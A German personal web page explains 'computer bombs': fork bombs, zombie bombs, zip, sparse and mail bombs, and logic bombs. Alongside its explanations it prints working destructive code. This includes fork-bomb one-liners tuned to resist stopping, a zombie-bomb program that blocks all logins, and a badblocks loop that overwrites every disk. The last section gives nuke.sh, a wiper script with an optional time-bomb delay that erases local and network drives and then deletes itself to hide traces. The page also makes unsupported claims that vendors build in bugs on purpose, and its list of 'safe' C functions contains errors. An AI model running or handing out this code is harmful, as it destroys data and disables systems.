Bombenbau-Anleitungen für Informatiker


Fork-Bombe

Eine Fork-Bombe ist ein Programm/Skript oder ein Kommandozeilen-Befehl der unbeschränkt forkt und sich dadurch bombenartig vervielfältigt.
Ein Beispiel für die Shell ist diese Zeile, die auch auf der Kommandozeile (der Bash und ähnlicher Shells) funktioniert:

:(){ :|:& };:

Schöner sieht diese Bombe auf dem Bild vom Debian-Paket pydance-music aus, das man mit dem Lied forkbomb.ogg unter /usr/share/games/pydance/songs/forkbomb/ findet:
Forkbomb


Hier wird zunächst die Funktion : definiert (bis zum Semikolon) und anschließend wird diese ausgeführt.
Danach geht es rund: Die Funktion ruft sich zweifach selbst auf und jeder dieser neuen Aufrufe ruft sich auch zweifach auf und so weiter.
Die Pipe (|) sorgt dafür dass die Shell sich forkt um das erste : auszuführen (es muss ja gleichzeitig mit dem zweiten laufen, um seine Ausgabe als Eingabe für das zweite zu verwenden); das & sorgt dafür, dass die Shell sich forkt, um den ganzen Ausdruck (also : | :) im Hintergrund auszuführen. Jeder Funktionsaufruf sorgt also für zwei neue Prozesse; diese führen den gleichen Code selber ebenfalls aus (da die Funktion sich ja selber aufruft), erzeugen als ebenso zwei neue Prozesse. Das sind schon vier; bei der nächsten Runde werden es 8; usw..
Wie beim Explodieren von A-Bomben hat man auch hier anfänglich ein exponentielles Wachstum; daher der Name der Fork-Bombe und deshalb verwendet das obige Bild von pydance-music als Grundlage ein Bild vom Mock-Up (Attrappe) der Little Boy.
Kettenreaktion
Dieses (auf 50 % verkleinerte und per Rechtsklick vergrößerbare) Bild von wikipedia.de zeigt das exponentielle Wachstum, bei dem jeder einzelne Prozess zwei weitere auslöst.

Am sichersten ist es wenn die Fork-Bombe mit Admin-/Root-Rechten gestartet wird und hoher Priorität, also unter Linux:

ionice -c3 -p $$; renice +19 -p $$; chrt -f -p 99 $$; :(){ :|:& };:


Die Fork-Bombe gibt es natürlich auch für Batch-Dateien (MS-Windows):

%0|%0

Diese 5 Zeichen in einer Text-Datei mit Namen beispiel.bat reichen aus; zum Ausführen reicht dann ein Doppelklick.

In C sieht die Fork-Bombe (im User-Space) so aus:

#include <unistd.h>
int main (int argc, char* argv[]) { for(;;) fork(); }

In der Praxis zeigen sich einige Unterschiede zwischen den verschiedenen Varianten der Fork-Bombe: Die letzte Version, mittels "gcc -O2 -o forkbomb forkbomb.c" compiliert, bringt SuSE 11.1 augenblicklich so schnell und nachhaltig zum Stehen, das ein in einem anderen Fenster laufendes top nichts davon anzeigt und das Betriebssystem zumindest eine Stunde lang nur auf den Magic System Key Request reagiert, selbst wenn die Forkbombe nur von einem einfachen User ausgeführt wird, während die Shell-Version es nur träge macht, selbst wenn die Shell-Version von root ohne erhöhte Priorität ausgeführt wird.
Der Grund hierfür sind Limitierungen von (2009) modernen Betriebssysteme, die meist auch beim Superuser wirksam sind. Beispielsweiese läßt sich das SuSE 11.1 durch die C-Version nicht aufhängen, wenn man in die C-Version vor jedem fork ein printf einfügt, oder hinter jedem fork eine Endlosschleife wie for(;;) einfügt, denn das reduziert die Geschwindigkeit des Forkens und gibt mehr Zeit zum Limitieren.
Die Wirkung der Fork-Bombe hängt auch vom Nice-Level bzw. der Priorität ab: Je niedriger der Nice-Level bzw. je höher die Priorität desto schwerer ist sie zu stoppen.

Verwendet werden Fork-Bomben unter Anderem zum Reduzieren der Rechner-Geschwindigkeit (für einzelne Prozesse) und auch zum Testen von Limitierungen beispielsweise mittels ulimit oder /etc/security/limits.conf: Wurde richtig limitiert, kann eine Fork-Bombe nicht stören; hat ein User keine Limitierungen, was traditionellerweise beim Superuser der Fall ist, MUß der Rechner hierdurch hängen bleiben weil die Prozesse Resourcen (Speicher, CPU-Zeit) belegen, die durch das exponentielle Wachstum rasch erschöpft sind, aber Notfall-Aktionen wie z. B. der Magic System Key Request, müssen weiterhin funktionieren.

Sehr hilfreich ist dazu die Forkbombe als Shell-Funktion, z. B. unter Linux oder Cygwin in der ~/.bashrc als selbsterklärender Zweizeiler:

function forkbomb()
{ forkbomb | forkbomb & }

Ein weiteres Anwendungsfeld für Fork-Bomben ist das Überprüfen von Echtzeit-Eigenschaften wie Interruptlatzenzeiten unter erschwerten Bedingungen, beispielsweise von RTAI.
Unter BSD findet man ein Fork-Bomb-Programm normalerweise unter ports/packages/pkgsrc, zum Üben der System-Administration: http://bsdwiki.reedmedia.net/wiki/Monitor_disk_input--output.html.
Eine Fork-Bombe ist eine der wenigen Möglichkeiten einen Rechner gezielt zum Hängen bleiben (hangup) zu bringen um beispielsweise Watchdogs, die bei den meisten Server- u. Workstation-Mainboards sowie IPMI-Modulen integriert sind, auch remote zu testen.
Fork-Bomben eignen sich auch zum Ausnutzen von Seiteneffekten wie durch hohe Rechenlast andere (niederpriorige) Prozesse verlangsamen oder um zu testen ob höherpriorige Prozesse nicht verlangsamt werden.
Allerdings eignen sich Forkbomben nur wenig zum Belasten von CPUs/GPUs/Kernen: Wie auch Messungen mit Leistungsmessern zeigen, ist der Stromverbrauch mit einer Forkbombe weit geringer als mit einem CPUburn-Programm, also einem Programm das optimiert wurde um (alle) CPUs/GPUs/Cores durch möglichst hohen Stromverbrauch möglichst stark zu erwärmen. Und hierbei zeigen sich die besten und damit höchsten Werte mit den Programmen der CPU-Hersteller, die jeweils für nur eine Prozessor-Familie erstellt werden und meist "confidential" sind.
Man kann zwar versuchen mit einer Fork-Bombe die CPUs noch zu mehr beschäftigen indem man sie nebenbei noch etwas rechnen läßt, z. B. mittels

:(){ :|md5sum /dev/urandom&:& };:

oder

:(){ :|bzip2 -c /dev/zero > /dev/null&:& };:

aber damit wird meist nicht mehr Leistung verbraucht als mit einer einfachen Fork-Bombe, weil schon das Forken den Rechner auslastet.
Hierzu ein paar Werte der Stromaufnahme von meinem neuen Server im Februar 2010, mit dem Mainboard X8SAX, BIOS t1070 mit aktiviertem TourboBoost und SMT, CPU Core i7 940, PSU PWS-865-PQ, 6x 1 GiB RAM, 2 TB SATA II HDD, Nvidia GeForce 9600 GT, unter Debian 5.03 (Lenny and a half) 64 Bit sofern nichts anderes angegeben ist:

4,6 Watt im Standby (nach poweroff)
134 Watt mit BIOS-Meldungen oder ruhendem Desktop
165 Watt mit md5sum Fork-Bombe
165 Watt mit bzip2 Fork-Bombe
168 Watt mit simpler simple Fork-Bombe unter Knoppix (32 Bit)
230 Watt mit burnP6 mit 1 Thread/Core (d. h. 8 Threads wg. SMT)
260 Watt mit Nehalem-EP Power Thermal Utility Rev 1.4, mit 1 Thread/Core (d. h. 8 Threads wg SMT), wobei es 32-Bit-Bibliotheken verwendet.
275 Watt wenn zusätzlich zum letzten noch Glxgears läuft und die Grafikkarte belastet.

Hierbei kann man noch mehr Leistung erreichen, beispielsweise um den Rechner in einer Klimakammer zu testen oder um die Heizung im gleichen Raum zu unterstützen oder um das Netzteil zu testen, indem man auch die Festplatte und das RAM auslastet und für die Grafikkarte einen "Power Virus" wie Furmark (1.8) verwendet. Die maximale Leistung zu erreichen ist aber nicht-trivial, weil die CPU-Cores nicht gleichzeitig sich selbst und andere Komponenten auslasten können, so das man die optimalen Prioritäten und Anzahlen der jeweiligen Threads sowie deren Verteilung auf die NUMA-Nodes oder Cores durch Messungen ermitteln muß.

Für maximal CPU-Last/Temperatur gibt es spezielle Programme der Hersteller, z. B. Nehalem-EP Power Thermal Utility von Intel, und generische, die allgemein CPUs gut auslasten, beispielsweise Prime95.

Forkbomben gibt es natürlich auch für den Kernel-Space, beispielsweise für Linux: bomb.zip, enthält das Makefile und den Code (bomb.c). Nach dem Bauen (make) und Laden des Moduls (insmod ./bomb.ko, erfordert root-Rechte), wird ein Kernel-Thread erzeugt, der wiederum einen Kernel-Thread erzeugt ..., wobei dies in jedem Thread in einer (Endlos-)Schleife geschieht, so das die ersten Threads mehr als nur je zwei Threads erzeugen. Daneben werden in der Schleife NOPs ausgeführt um die CPU(-Kerne) zu beschäftigen. Hier kann man auch noch tunen an Nice-Level und Priorität, aber bisher hat diese Bombe jeden Rechner praktisch sofort zum Stillstand gebracht, so das noch nichts getunt ist. Eine Anwendung ist daher den betreffenden Rechner vor unbefugten Zugriffen zu schützen, sowohl vor Malware als auch physikalischen Attacken.
Solche Fork-Bomben im Kernel-Space sind schwerer zu limitieren als im User-Space. Eine Möglichkeit ist die Limits in /proc/sys/kernel/*max* herunter zu setzen. In der Regel werden stattdessen die Root-/Administrator-Rechte restiktiv vergeben, so das schon das Laden der Fork-Bombe weitgehend verhindert wird.
Die Kernel-Threads unter Linux kann man anzeigen mittels ps -ef, wobei die Kernel-Thread-Namen meist eckig eingeklammert sind.

Man kann natürlich auch für weitere Bereiche Fork-Bomben bauen, beispielsweise für BIOS, (U)EFI, iAMT, IPMI und Bootloader. Bei Mikrocontrollern und ohne Betriebssystem benötigt man aber einen Workaround, beispielsweise mehrfach verschachtelte Interrupts (nested Interrupts).


Links zum Thema Forkbomben und ähnliche Bomben
Wikipedia-Eintrag dazu
http://www.forkbomb.com/

Zombie-Bombe

Die Zombie-Bombe ist eine Variante der Fork-Bombe: Bis auf den ersten Prozess der Fork-Bombe sind alle anderen ein Zombie, also tote Prozesse, die nicht mehr durch Töten beseitigt werden können, weil sie schon tot sind.
Zombie-Bomben sind im Prinzip etwas schwerer kontrollierbar als einfach Fork-Bomben, weil sie nur durch Töten des ersten Prozesses (der kein Zombie sein kann) beendet werden können, aber weil Zombies tote Prozesse sind, steigt die CPU-Auslastung (load average) nicht an und daher werden laufende Prozesse durch eine Zombie-Bombe kaum beeinträchtigt; ein Rechner kann dadurch normalerweise nicht zum hängen bleiben (hangup) gebracht werden.
Mit einer Zombie-Bombe kann man ganz einfach testen wieviele Prozesse die Prozesstabelle tatsächlich aufnehmen kann.
Hier ist ein Beispiel einer Zombiebombe in C, die so lange Zombies produziert, wie geforkt werden kann (im User-Space):


// zombiebomb.c: A simple zombie bomb.
// "THE BOMBWARE LICENSE" (Revision 22):
// Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
// As long as you retain this notice you can do whatever
// the GPL (GNU Public License version 3) allows with this stuff.
// If you think this stuff is worth it, you can send me a (deactivated) bomb (or
// money via paypal).

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  pid_t child1;
  static long long int lli;
  int i_pid = getpid(); // Master PID = first PID

  for(;;)
  {
    lli++;
    switch( child1=fork() )
    {
      case -1 : printf("Error: Could not fork.\n");
          continue;
      case 0 : // Child: Do remain as a zombie.
          printf("Child %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
          exit(1);
      default : printf("Parent %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
          continue;
    }
  }
  return 0;
}


Diese ganz einfache Version ist nur eine halbe Bombe, denn die Zombie-Anzahl wächst nur linear, aber sie erreicht das Limit der Anzahl an Prozessen, das üblicherweise bei ein paar tausend liegt, nach wenigen Sekunden.
Dann sind aber (zumind. unter SuSE 11.1) keine anderen Forks möglich. Beispielsweise kein login, egal ob lokal oder remote; man erhält dann die Fehlermeldung "Init: cannot fork, retry..". Damit kann z. B. ein einfacher User unter SuSE 11.1 verhindern das sich andere User, auch Superuser, einloggen.
Andere forkende Prozesse, z. B. ein Webserver, der für jede neue Verbindung forkt, werden durch Zombi-Bomben ebenso beeinträchtigt.
Zombie-Bomben werden wie fork-Bomben verwendet um Limitierungen u. A. zu testen.
Man kann sie auch dazu benutzen um das Forken, also Starten von neuen Prozessen zu verhindern. Beispielsweise kann man damit das Starten einer (anderen) Fork-Bombe verhindern. Hierzu gibt es die Analogie ein Feuer durch eine Detonation zu löschen, was beispielsweise bei brennenden Erdöl- und Erdgas-Quellen üblich und meist auch das einzig mögliche Verfahren zum Löschen ist.

Analog zur Zombie-Bombe, die die Anzahl der Prozesse bis zum Limit hochtreibt, kann man mit analogen Bomben auch anderes bis zum Limit hochtreiben, z. B. die Anzahl der Netzwerk-Verbindungen, den Speicherverbrauch und vieles andere mehr, aber das wirkt sich meist weniger stark aus als eine Fork- oder Zombie-Bombe.

Zip-Bombe

Eine Zip-Bombe ist eine komprimierte Datei, die unkomprimiert viel größer ist. Dieser Begriff ist nirgends genau definiert; es ist Ansichtssache ob eine stark komprimierte Datei eine "Zip-Bombe" ist.
Eine Zip-Bombe ensteht praktisch immer, wenn man ein komprimiertes Image einer fabrikneuen Festplatte anfertigt, weil sie fast immer nichts (genauer: nur binäre Nullen) enthält.
Ein anderes Beisiel ist 42.zip. Diese Datei enthält 16 gezipte Dateien, die wiederum 16 gezipte Dateien enthalten, die wiederum 16 gezipte Dateien enthalten, die wiederum 16 gezipte Dateien enthalten, die wiederum 16 gezipte Dateien enthalten, die je eine Datei von 4,3 GB Größe enthalten, so dass die Datei nach dem Entpacken 4,5 PByte groß ist. Der Grund für diesen Aufbau ist, das zip keine Dateien größer 4 GiB verarbeiten kann.

Ein ganz einfacheres Beispiel kann man selber erstellen (Beispiel für Linux/Unix/Cygwin):

dd if=/dev/zero bs=1G count=1024 | bzip2 -9 > klein.bz2

Das Erstellen dieser klein.bz2 dauert rund 11 Stunden mit einem Opteron 8216 (2,4 GHz), weil bzip2 und dd jeweils nur einen Core auslasten und bzip2 hierbei mit knapp 28 MB/s lahm ist. Allerdings kann man zum Komprimieren/Dekomprimieren auch Programme nutzen, die mehrere Cores verwenden und damit um ein Vielfaches schneller sind; beispielsweise Parallel BZIP2.
Die mit 767 kB relativ kleine klein.bz2 ist entpackt 1 TiB groß und enthält genau das, was eine fabrikneue 1 TiB große Festplatte üblicherweise enthält. Auf ein 2007 mittelmäßig schnelles kleines RAID, beispielsweise ein RAID0 bestehend aus acht 15k6 SAS-Festplatten, kann diese entpackte Datei in einer Viertelstunde geschrieben werden und ist dabei noch kleiner als die Anfang 2010 bekannte genaueste Berechnung von Pi: http://www.heise.de/newsticker/meldung/Pi-Berechnungsrekord-auf-handelsueblichem-PC-899930.html.
Weniger rechenintensiv als die Erstellung mit dd ist natürlich den Header einer komprimierten Datei zu bearbeiten und so die dekomprimierte Größe einzustellen.
Hier noch eine ähnliche Datei, die mit 2 GiB statt 1 GiB erstellt wurde und die durch die binär gerade Größe auf nur 102 kB komprimiert wurde: mittel.bz2.
Neben web.de hat man mit solchen völlig ungefährlichen Dateien Probleme auch mit Virenscannern, beispielsweise Avira AntiVir Personal - Free Antivirus, bei dem man die nervenden Fehlalarme auch nicht abstellen kann; das Programm ist daher schlicht unbrauchbar.

Der Name der Zip-Bombe entstand durch schlampig programmierte Software, die durch interne Fehler komprimierte Dateien nicht richtig verarbeitet (siehe nächstes Kapitel und Link) und hat nichts mit exponentiellem Wachstum zu tun.

Solche Programmierfehlern können ebenfalls zum Hängen bleiben führen unter Anderem bei Hard Links, Sparse Files, Link Loops (z. B. ln -sf foo bar; ln -sf bar foo) und Directory Loops, beispielsweise in Zip-Dateien und anderen Dateien die einen Verzeichnisbaum enthalten, wie beispielsweise ISO-Images. Der Grund für ein mögliches Hängen bleiben ist, das das Expandieren, also Kopieren als einfache (andere) Datei, sowohl von Hard Links wie von Sparse Files und Link Loops sowie auch Directory Loops, den Platzbedarf vervielfachen kann und es leicht Probleme gibt, wenn ein Programmierer dies nicht berücksichtigt.
Open-Source-Source-Software wie z. B. die GNU Core Utilities und direkt von den Betriebssytemherstellern stammende Programme haben praktisch nie Probleme damit, wie beispielsweise ein Test mit Link Loops in der Bash zeigt:

> date; ln -sf foo bar; ln -sf bar foo; cat bar; rm bar; rm foo; date
Thu Jul 31 11:49:21 CEST 2008
cat: bar: Too many levels of symbolic links
Thu Jul 31 11:49:21 CEST 2008
>

Link dazu.

Sparse-Bombe

So wie eine Zip-Bombe durch Entpacken viel größer werden kann, kann eine Sparse Datei viel größer sein, als der von ihr belegte Platz auf dem Datenträger, weil sie sozusgen nichts (außer binären Nullen, wie meist bei Zip-Bomben) enthält und platzsparend, sozusagen transparend komprimiert, gespeichert wurde. So wie schlampig programmierte Virenscanner an großen komprimierten Dateien scheitern können, können sie auch an sparsen Dateien scheitern, obwohl sie keinerlei Code enthalten.
Ein Beispiel für eine sparse Datei ist eine 1 TiB große Datei, die auf dem Datenträger keinen Platz belegt:

> dd if=/dev/zero of=sparsefile.img bs=1 seek=1T count=0
> du -s sparsefile.img
0 sparsefile.img
> du -B1 --apparent-size sparsefile.img
1099511627776 sparsefile.img

Sozusagen ausgepackt werden Sparse-Bomben auch durch Kopieren mittels "cp --sparse=never". Deshalb sollte man Kopieren mit cp generell mit der Option -a oder --sparse=always ausführen und Backups mittels rsync mit -S oder meist besser -avxSH. Allerdings hat rsync, zumind. rsync version 3.0.5, protocol version 30, den Bug das es nur lokal und nicht remote Sparse Dateien als solche behandelt, so das die Beispiel-Datei in Form von 1 Ti Bytes (=2^(40) Bytes) übertragen wird!
Deshalb gibt es die Beispiel-Datei hier nicht zum Downloaden.
Weil sparse Dateien effizient gespeichert werden, habe ich das Programm dupmerge so erweitert, das es auch eine Datei durch ihre sparse Version ersetzt, wenn die sparse Version kleiner ist; man findet dazu Example 1 unter: http://true-random.com/homepage/projects/dupmerge/tutorial.html.

Mail-Bombe

Eine Mail-Bombe ist eine Zip-Bombe (s. o.) als Anhang einer E-Mail.
Schlampig programmierte Virenscanner, die beim Scannen von E-Mails komprimierte Dateien ohne Überprüfungen und Limitierungen ganz gnadenlos entpacken, können damit zum Absturz oder Hängenbleiben gebracht werden oder den verfügbaren Platz auf Festplatte und vielleicht auch im RAM komplett belegen. Solche unlimitierten Aktionen sind typische Anfänger-Fehler beim Programmieren, die man am (C-)Sourcode daran erkennt, das fget, malloc, strcat, strcpy, sprintf, strcmp, strdup, strlen oder vprintf verwendet werden, denn die sicheren äquivalenten Funktionen sind fgets, calloc, strncat, strncpy, strnprintf, strncmp, strndup, strnlen und vsnprintf.
Zum Auffinden der genannten unsicheren Funktionen gibt es Programme wie Flawfinder.
Genauer und auch für andere Programmiersprachen beschrieben findet man dies unter der Rubrik Secure Coding bei CERT: http://www.cert.org/secure-coding/.
Siehe auch SPSA: The Secure Programming Skills Assessment und 24C3-Vortrag: Grundlagen der sicheren Programmierung sowie der kurze Artikel vom April 2010 Die Woche: Die Sünden der Programmierer.

Für zuverlässige Programme ist zusätzlich fachmännische Programmierung erforderlich. Hierzu gehört beispielsweise Rückgabewerte zumindest generell und meistens auszuwerten und Daten aus gepufferten Schnittstellen wie der seriellen Schnittstelle mit select und nicht mit read einzulesen sowie Schnittstellen wie die serielle nur exklusiv zu öffnen um auszuschließen, das mehrere Programme sie gleichzeitig verwenden und sich gegenseitig Daten überschreiben/wegnehmen:

...
  if (-1 == ioctl (fd, TIOCEXCL, &modelines)) // Put the tty into exclusive mode. Schnittstelle exklusiv öffnen.
  {
      (void)fprintf (stderr, "ERROR at ioctl TIOCEXCL on port %s, exiting! Schnittstelle %s konnte nicht exklusiv geöffnet werden; Exitus!\n", a_device, a_device);
      perror ("ioctl()");
      return (-1);
  }
...

Siehe auch: Die 25 gefährlichsten Programmierfehler, Stand Januar 2009.
Die wichtigsten Vorgaben sicherer Programmierung sind - unabhängig von der Programmiersprache - folgende fünf Punkte:
1. Prüfung von Ein- und Ausgaben (inkl. Rückgabewerten)
2. Authentisierung und Zugriffskontrollen
3. korrektes Handhaben und Schutz von sensitiven Informationen und Daten
4. Befolgen des "Least Privilege"-Prinzips, das die tiefstmöglichen Privilegien vergibt
5. Verhindern von Informationspreisgaben (Geheimnisprinzip/Datenkapselung)

Bei vielen Programmen ist dies aber ignoriert worden, so das beispielsweise ntpd und apcupsd problemlos die gleiche serielle Schnittstelle öffnen können und sich damit gegenseitig die Daten überschreiben und kryptische Fehlermeldungen produzieren.
Neben solchen Anfänger- und Flüchtigkeits-Fehlern beliebt sind auch Fehler schon in der Spezifikation bzw. das Fehlen der Spezifikation sowie falsche Vereinfachungen wie das eine Minute 60 Sekunden hat (Weglassen der Schaltsekunden), das ein Jahr 365 Tage hat (Weglassen des 29. Februar und der Schaltjahre generell; ein Beispiel ist Zune am 366. Tag des Jahres 2008) und auch das falsche Berechnen von Schaltjahren.
Ähnliche Klassiker sind das Jahr-2000-Problem und das Jahr-2010-Problem.

Solche Fehler finden sich in sehr vielen Programmen und sind die Ursachen, weshalb Hersteller wie Apple und Microsoft regelmäßig als Updates bezeichnete Bugfixes veröffentlichen. Allerdings sind solche Fehler nicht selten beabsichtigt um beispielsweise a) in den Nachrichten präsent zu sein (kostenlose Werbung, "All Publicity Is Good Publicity") und b) um die Kunden zum Kauf einer neueren Version zu animieren. Ein Beispiel ist Excel von Microsoft: Von Anfang an verwendete es eine falsche Berechnung der Schaltjahre und Mitte der 1990er Jahre machte es mehrmals durch mehrere grobe Fehler von sich Reden: http://www.heise.de/newsticker/Excel-Bugs-nehmen-kein-Ende--/meldung/2407 . Wie sich 10 Jahre später zeigt sind nicht nur immer noch reichlich Fehler enthalten ( http://www.spiegel.de/netzwelt/web/0,1518,563637,00.html ) sondern es werden auch mit Updates gelegentlich neue Fehler eingebaut, wohl damit sich die Benutzer nicht an fehlerfreie Software gewöhnen: http://www.pctipp.ch/news/sicherheit/42727/excel_rechenfehler_nach_patch_day.html.
Im Gegensatz dazu haben sich andere Hersteller weniger Mühe beim Einbauen von Fehlern gegeben; beispielsweise zeigt Googles kostenlose, webbasierte Tabellenkalkulation Google Spreadsheets keinen der Fehler von Microsoft Excel, wie man in dem oben genannten Artikel vom Spiegel nachlesen kann.

Das Problem unsicherer Programmierung betrifft paradoxerweise auch Sicherheits-Software wie Virenscanner und Firewalls, zumindest wenn sie closed-source sind und daher die Nutzer den meist mieserablen Sourcecode nicht einsehen können: http://www.businessweek.com/technology/content/jun2005/tc20050617_1613_tc024.htm.
Und dieses Thema ist ein Dauerbrenner; auch Ende 2008 ist es noch aktuell: http://www.heise.de/newsticker/Schwachstellen-in-mehreren-Virenscannern--/meldung/120826.
Hinzu kommt, das viele Sicherheitslücken ungepatcht bleiben, auch um so einen Zwang zum Kaufen von neuer Software zu schaffen: http://www.heise.de/security/Studie-Viele-Sicherheitsluecken-bleiben-ungepatcht--/news/meldung/126785.
Und es ist nicht anzunehmen, das sich dies ändern wird, denn Sicherheitsprodukte bestehen schon seit Ende der 80er Jahre eine Zertifizierung im ersten Anlauf in 96 % aller Fälle nicht und in den meisten Fällen entspricht nicht einmal die Kernfunktion des Produkts den gewünschten Anforderungen: http://www.heise.de/security/meldung/Nur-wenige-Sicherheitsprodukte-bestehen-Zertifizierung-im-ersten-Anlauf-861036.html.
Da gelten halt Grundsätze wie "Wer testet oder auch nur überprüft ist feige." und "Testen/Überprüfen kostet Geld und braucht Zeit, aber dafür sind wir zu geizig.". Schließlich gibt es ja die Bananenstrategie, nach der das Produkt bei Kunden reift, weil der mit unreifer Software als Tester mißbraucht wird und notgedrungen Fehlermeldungen an den Hersteller schickt um die Software überhaupt richtig benutzen zu können. Dieser Mißbrauch wird von den betreffenden Firmen verharmlosend "Service" genannt, ist aber nur ein den Kunden aufgebürdetes Testen oder nur eine Beruhigung der Kunden ohne eine Auswertung der Fehlermeldungen.

Das lange bekannte Mail-Bomben-Problem mit schlampig programmierten Virenscannern gibt es immer noch, beispielsweise bei der Web-Mail von web.de (Stand Mitte 2007): Versucht man die 42.zip anzuhängen, bekommt man die Fehlermeldung "Dateiname: 42.zip gefundener Virus: ZIP-Crash", was schlicht falsch ist und zeigt, dass immer noch ein schlampig programmierter Virenscanner verwendet wird: Die Datei enthält keinerlei Code und kann daher überhaupt keinen Virus enthalten!
Andere Dateien wie klein.bz2 werden von web.de sogar kommentarlos entfernt, so dass wenn man nicht extra kontrolliert, das Löschen der Datei überhaupt nicht mitbekommt!
Dies sind schwerwiegende Bugs, denn sie bedeuten, das man über web.de praktisch keine einfach komprimierten Festplatten-Images verschicken kann (Stand 2007 bis mind. 2009)!
Als Workaround bleibt nur ein Verschlüsseln der Dateien, z. B. von *.img-Dateien, mittels "zip -P PaSsWoRt -r images *.img", oder in ein Steganogramm packen oder den Mail-Provider zu wechseln (oder Aufkaufen und diesen Unfug per Dienstanweisung abstellen lassen).

Allerdings gibt es auch DAPs, dümmste anzunehmende Provider, die das Problem auf die Kunden verlagern, indem sie in ihre AGBs schreiben, das Mail-Bomben unzulässig sind. Ein Beispiel findet man in §5 der AGBs der ANTACOM Online Services (Stand 2008-05-31): http://antacom.com/wsp/wagb.htm. Weil dies eine überraschende Vertragsklausel ist, ist sie aber unwirksam (§ 305c BGB). Hinzu kommt, das ohne die Präzisierung, ab welchen Werten genau eine Mail auch eine Mail-Bombe ist, diese Vertragsklausel unklar und auch deswegen unwirksam ist.

Link dazu.

Logische Bombe/Logikbombe

Eine logische Bombe ist ein Teil eines Computerprogramms oder Skripts, der unter bestimmten Bedingungen schädliche Aktionen wie z. B. das überschreibende Löschen aller gemounteten und beschreibbaren Dateisysteme auslöst. Auch für Logische Bomben gibt es keine klare Definition, so das es Ansichtssache ist, ob ein Bug oder eine Aktion wie beispielsweise das Leeren des Papierkorbs (auf dem Desktop) eine logische Bombe ist, denn das kann juristisch als strafbare Datenunterdrückung oder Datenvernichtung gewertet werden, beispielsweise nach § 303b StGB (Computersabotage).
Ist die auslösende Aktion das Erreichen einer Zeit, so bezeichnet man die logische Bombe auch als Zeitbombe. Hierzu zählen neben Programmen mit bekannter Zeitbeschränkung vor allem auch Programme mit einem heimlichen Verfallsdatum, insbesondere wenn sie Geld gekostet haben, denn hierdurch entsteht direkt ein finanzieller Schaden/Schadensersatzanspruch. Ein Beispiel hierfür ist das Fahrtenbuchprogramm vom "WISO Rechnungsbuch 2008", das 2008 knapp 30 Euro kostete und nach nur einem Jahr Gebrauch ohne Vorwarnung jeden neuen Dateneintrag verweigert und so plötzlich unbrauchbar wird; der Kunde erfährt davon erst im Nachhinein: http://www.heise.de/ct/inhalt/2009/15/70/.
Ist das Auslösen manuell und die Folgen gewollt, ist eine logische Bombe in der Regel ein sehr gründliches Aufräumen (Bereinigen der Datenträger); englisch Core Purge genannt.
Klassische Beispiele für logische Bomben sind format C: und rm -rf /, aber mittels undelete-Programmen ist der Schaden von diesen Klassikern reparierbar, weil die Daten nicht überschrieben werden und deshalb noch auf den Datenträgern wiedergefunden werden können. Sofern man keine uralte Version von rm hat, fehlt zudem noch die Option --no-preserve-root und auch mit dieser Option bleiben alle Verzeichnisse erhalten, die ein gemountetes Dateisystem enthalten; rm weigert sich mit der Fehlermeldung "Device or resource busy" und terminiert dann.
Hinzu kommt, das hierbei nicht fehlertolerant nach inodes gelöscht wird (http://www.cyberciti.biz/tips/delete-remove-files-with-inode-number.html, http://admon.org/planet/delete-files-inode-number).
Besser aber auch nicht perfekt ist daher ein Löschen mittels:

cd /; for i in $(ls -a); do rm -rf -- $i; done

Das Problem hierbei ist, das man sich beim kompletten Löschen sozusagen den Ast absägt auf dem man sitzt; nachdem rm sich selbst gelöscht hat, schlagen nachfolgende Aufrufe von rm fehlt.
Und daneben ist es meist nicht einfach die beim Sterben des Betriebssystems auftretenden Fehlermeldungen zu verdecken.
Zum vollständigen Löschen muß man daher die Lösch-Software in das RAM laden und von dort aus auf den Datenträgern (Festplatten, Netzlaufwerke etc.) komplett Löschen. Teilweise geht das mit der Bash-Funktion/Shell Builtin > vor dem Dateinamen, durch das die Dateilänge auf 0 gekürzt wird, aber danach bleiben noch die Verzeichnisstruktur sowie die Dateinamen erhalten und durch das Leeren gibt es diverse Fehler wie "Bus Error", durch die auch dieses Quasi-Löschen abbricht.
Ein richtiges Löschen erfolgt stattdessen endgültig und sicher durch Überschreiben mit einem Zufallsmuster (Datenmüll).
Für einzelne Dateien nimmt man dafür Programme wie shred oder srm.
Für Datenträger nimmt man hierzu dd mit der Option conv=noerror, ddrescue, dd_rescue oder besser (d. h. schneller als ddrescue oder dd_rescue mit /dev/urandom als Quelle) badblocks mit der Option -t random.
Ein kleines Beispiel für so ziemlich jeden lokalen Datenträger ist diese Kommandozeile:

cd /dev; for i in $(ls hd? sd? fd0 fd1); do badblocks -fw -t random "$i" & done

Ein umfangreicheres Beispiel, das auch Netzlaufwerke umfaßt, ist dieses Beispiel-Skript (nuke.sh) zum möglichst kompletten Löschen:


#!/bin/bash

# "THE BOMBWARE LICENSE" (Revision 22):
# Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
# As long as you retain this notice you can do whatever
# the GPL (GNU Public License version 3) allows with this stuff.
# If you think this stuff is worth it, you can send me a (deactivated) bomb (or
# money via paypal). Version 2010-08-15.

# uncomment the next line for a time bomb (with a delay of 3600 s = one hour)
#sleep 3600

# function makeempty: Set the file length recursively to zero, usefull for non-local
# files which can not be deleted by rm/srm.
makeempty ()
{
    find -type f | while read file
    do
        >"$file"
    done
}

# function delete: makeempty root (/) and try (secure) deletion of every ordinary file, usefull
# only for non-local files.
delete ()
{
    cd /
    makeempty &
    for i in $(ls -ar)
    do
        # srm -rf "$i"&
        chattr -i $i; rm -rf -- "$i"&
    done
}

# Delete all local data carrier by overwriting with random pattern:
# badblocks with f (force) for overwriting also mounted partitions/data carriers and
# w for write. Todo: Version which works also with all DVD-RWs, tape drives, ...
cd /dev
for i in $(ls hd? sd? fd0 fd1)
do
    badblocks -fw -t random "$i" &
done

# Wait a second to assure all badblocks started before /sbin/badblocks gets
# deleted. Use wait or "wait ${!}" to wait for termination of all badblocks.
sleep 1

delete &

# simple self-destruction to remove traces early: Make sure that the immutable flag is not set, set file length to zero, delete
chattr -i "$0"
> "$0"
rm -rf -- "$0"


Man kann das noch ausbauen, weil das immutable Flag auch bei Verzeichnisse, insbesondere Mountpoints, gesetzt sein kann, und bei nur lesend eingebundenen Partitionen ein remount mit Schreib-Option versucht werden kann.
